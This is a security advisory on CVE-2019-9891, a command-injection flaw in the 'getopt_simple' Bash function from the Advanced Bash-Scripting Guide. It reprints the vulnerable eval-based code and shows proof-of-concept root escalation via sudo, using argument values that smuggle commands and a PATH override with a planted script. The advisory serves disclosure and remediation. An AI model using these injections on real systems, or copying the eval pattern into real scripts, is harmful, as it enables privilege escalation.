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Code Execution via Insecure Shell Function getopt_simple

RedTeam Pentesting discovered that the shell function “getopt_simple”, as presented in the “Advanced Bash-Scripting Guide”, allows execution of attacker-controlled commands.


  • Product: Advanced Bash-Scripting Guide
  • Affected Versions: all
  • Fixed Versions: -
  • Vulnerability Type: Code Execution
  • Security Risk: medium
  • Vendor URL:
  • Vendor Status: notified
  • Advisory URL:
  • Advisory Status: published
  • CVE: CVE-2019-9891
  • CVE URL:


The document “Advanced Bash-Scripting Guide” ( is a tutorial for writing shell scripts for Bash. It contains many example scripts together with in-depth explanations about how shell scripting works.

More Details

During a penetration test, RedTeam Pentesting was able to execute commands as an unprivileged user (www-data) on a server. Among others, it was discovered that this user was permitted to run the shell script “” as root via “sudo”:

$ sudo -l
Matching Defaults entries for user on srv:
    env_reset, secure_path=/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on srv:
    (root) NOPASSWD: /usr/local/sbin/

The script “” starts with the following code:


    until [ -z "$1" ]
      if [ ${1:0:2} = '--' ]
          tmp=${1:2}               # Strip off leading '--' . . .
          parameter=${tmp%%=*}     # Extract name.
          value=${tmp##*=}         # Extract value.
          eval $parameter=$value


### Pass all options to getopt_simple().
getopt_simple $*

### list files to clean
echo "listing files in $target"
find "$target" -mtime 1

The function “getopt_simple” is used to set variables based on command-line flags which are passed to the script. Calling the script with the argument “–target=/tmp” sets the variable “$target” to the value “/tmp”. The variable’s value is then used in a call to “find”. The source code of the “getopt_simple” function has been taken from the “Advanced Bash-Scripting Guide” ( It was also published as a book. RedTeam Pentesting identified two different ways to exploit this function in order to run attacker-controlled commands as root.

First, a flag can be specified in which either the name or the value contain a shell command. The call to “eval” will simply execute this command.

$ sudo /usr/local/sbin/ '--redteam=foo;id'
uid=0(root) gid=0(root) groups=0(root)
listing files in /tmp

$ sudo /usr/local/sbin/ '--target=$(id)'
listing files in uid=0(root) gid=0(root) groups=0(root)
find: 'uid=0(root) gid=0(root) groups=0(root)': No such file or directory

$ sudo /usr/local/sbin/ '--target=$(ls${IFS}/)'
listing files in bin

Instead of injecting shell commands, the script can also be exploited by overwriting the “$PATH” variable:

$ mkdir /tmp/redteam

$ cat <<EOF > /tmp/redteam/find
echo "executed as root:"

$ chmod +x /tmp/redteam/find

$ sudo /usr/local/sbin/ --PATH=/tmp/redteam
listing files in /tmp
executed as root:
uid=0(root) gid=0(root) groups=0(root)


No workaround available.


Replace the function “getopt_simple” with the built-in function “getopts” or the program “getopt” from the util-linux package. Examples on how to do so are included in the same tutorial (,

Security Risk

If a script with attacker-controlled arguments uses the “getopt_simple” function, arbitrary commands may be invoked by the attackers. This is particularly interesting if a privilege boundary is crossed, for example in the context of “sudo”. Overall, this vulnerability is rated as a medium risk.


  • 2019-02-18 Vulnerability identified
  • 2019-03-20 Customer approved disclosure to vendor
  • 2019-03-20 Author notified
  • 2019-03-20 Author responded, document is not updated/maintained any more
  • 2019-03-20 CVE ID requested
  • 2019-03-21 CVE ID assigned
  • 2019-03-26 Advisory released

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